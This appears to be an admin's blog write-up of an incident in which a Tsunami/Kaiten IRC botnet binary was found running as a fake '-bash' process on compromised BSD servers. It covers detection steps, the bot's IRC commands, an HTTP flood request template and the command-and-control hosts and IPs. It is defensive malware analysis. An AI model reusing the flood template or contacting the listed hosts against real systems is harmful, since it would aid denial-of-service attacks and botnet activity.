Just another story of UNIX Trojan Tsunami/Kaiten.c (IRC/Bot) w/ Flooder, Backdoor at a hacked xBSD case

*) I dedicate this writing to fellow UNIX admins who dedicate an hourless hard effort for making sure our internet services up and running. #RESPECT!

For the recent information of malware/hack incidents that are utilizing Tsunami/Kaiten basis malware to IoT(routers) & NIX boxes can be read in here-->[LINK]

Snapshot:

Summary

Sadly, some strong waves of malware attacks on UNIX systems has started early this year. We still remember the rush from the Darkleech Rogue Apache Module, goes to Linux cDorked Rogue httpd, to the implementation of rogue web server binaries on other popular web servers like NGNIX and other web servers.

Today I was asked to help fellow unixmen who maintain services based on a generic xBSD which detected some strange activities on IRC port access from several online machines. I was not hoping to see the cDorked or Darkleech new samples or common Linux threat on this one, as a FreeBSD users & fan I know how good the security is, but I guess I was wrong.

This case is actually a same old flaw's story: looks like the system was exploited via web admin panel abuse by HTTP access (sorry, can not tell you which web panel right now) using the tools that can send rapid packet fetch/wget requests (later on we know that the malware discussed here also have that function), the root privilege was gained via crontab UID (root, indeed), and practically overall server's security was compromised from that hole. And the bad guys was compiling nasty downloader/IRC Bot backdoor (known previously named as TSUNAMI) with deleting all source traces+logs related, thus run & hide its service using the fake bash process (ever see a BSD system with bash shell process before? *smile*).

First Handle Analysis

I think is important to share this experience on what to do at the time like this, so I dare myself to write it, with hoping not to step on other's toes. The rule is simple, if they took the root & we take the service offline, no matter what.
OK, shortly, went to the system to find the strange "-bash" process was running:

USER    PID  %CPU %MEM    VSZ    RSS  TT  STAT STARTED    TIME COMMAND
root   96606   0.0  0.2   95939   1096 ??  Ss   28Feb13    0:19.87 -bash
I quickly listen (netstat) to the outbounds to find that the irc ports was trying to be connected:
Active Internet connections

[...]
And all of the sudden, frequently the FTP access was coming up:
Active Internet connections

----------------------------------------------------------------------------
// for FTP....

[...]
Just to be sure, firing lsof on other compromised machine for confirming, and found the same condition:
-bash 95939  root  cwd     VDIR       0,99       1024  869616 /{Directory of the malware}
-bash 95939  root  rtd     VDIR       0,99       1024       2 /
-bash 95939  root  txt     VREG       0,99      18902  870081 {Directory of the malware}/-bash

[...]
This is never be good since all of the requests coming fromthe PID of that "-bash". So I took procedure to take machine offline and continue the analysis.

This is the binary responsible to this disaster, saved in the $TMP:

$ ls -alF
-rwxr-xr-x   1 xxx xxx  18902 May 02 15:11 -bash*
Comparing the dates of process and file time-stamp will lead you to /dev/null so just ignore those and stick to the logs and dumps that might occurred for any traces(if we lucky).
In most machines we got no infection trace on this binary, but one machine which has snapshots leaving a compile trails in logs at a mirror backup storage:
k.c:91: warning: conflicting types for built-in function 'pow'
k.c:586:2: warning: no newline at end of file
Aha, it seems that someone compiled this, you see that the source was in C/C++..
(Seek the source everywhere but couldn't find it.. must be deleted..)

At that point I got no other options but to tear it. apart.. So here we go;

I'd say the attacker are not preparing to aim FreeBSD but they just lucky to get the ones with the good Linux compatibility.

At this point also I saw the PID control traces:

I confirmed the the admins that infected xBSD systems wasn't affected but on linux the below system commands will exactly bring a chaos:
export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s
But these commands does:
gethostbyname
kill
environ

A quick Reversing

Practically, if you do up to the above steps then you can make a very good report about this incident, is just to my curiosity I reversed it to find the important functions used below:

What does it do?

Below are the malware functions that I gathered:

Usage the INET socket to make internet connection via IRC, HTTP or FTP
Locking itself in specific PID to avoid double starts/killed.
Forking functionalities.
Remote control Bot-IRC functions like:
 a. Remote FTP access for infecting further
 b. Commands like:  NICK, SERVER, KILL, GET, HELP, ETC, SH; are the basic commmands used
 c. Custom commands like; _352, _376, _433 for botnet comm purpose.
  d. IMPORTANT! Flooding Operation is implemented in the program, w/ below HTTP header:
......GET /%s HTTP/1.0\
......Connection: Keep-Alive
......User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
......Host: %s:80\
......Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
......Accept-Encoding: gzip\r\nAccept-Language: en
......Accept-Charset: iso-8859-1,*,utf-8
......(Following by long characters assembled via IRC command instructions)
Practically, upon started it tries to connect to IRC at below host:
cvv4you.ru     
188.190.124.120
188.190.124.81
It then wait for the boss to connect, to perform some malicious acts.
All of the further hack was implemented via FTP and HTTP used for flood.
For the FTP, it tries to get some stuff in the below host:
Hostname: wf.networksolution.com
Address:  205.178.189.131
↑There should be some bad stuffs in there.

Sample! Sample!

Yes, since I know how hard it feels for not being shared samples, I am currently waiting for permission to share some samples for research purpose, so please hold on. But right now we're allowed to scan it in Virus Total :-) here's the url >>>Link

Additional:

(1) After some research, I found this malware is known by its self compiled method on a hacked machine. Well known as Kaiten a Linux/Unix DDOS IRC Bot←thank's for the @exitthematrix of KM. (2) The similar attack was also found in the site with the Ruby on Rails Web Admin Panel vulnerability posted by Mr. Jeff Jarmoc in his site jarmoc.com, he detected the traces of source code used during compilation of the malware and posted it in his blog here -->>[JARMOC.COM]. After some comparison I found the strong possibility that the same malware code and same bad actor was used in both case. Since the both findings was detected in so near time, I bet there are other servers also under attack with the similar pattern and malware so please check your system regularly.
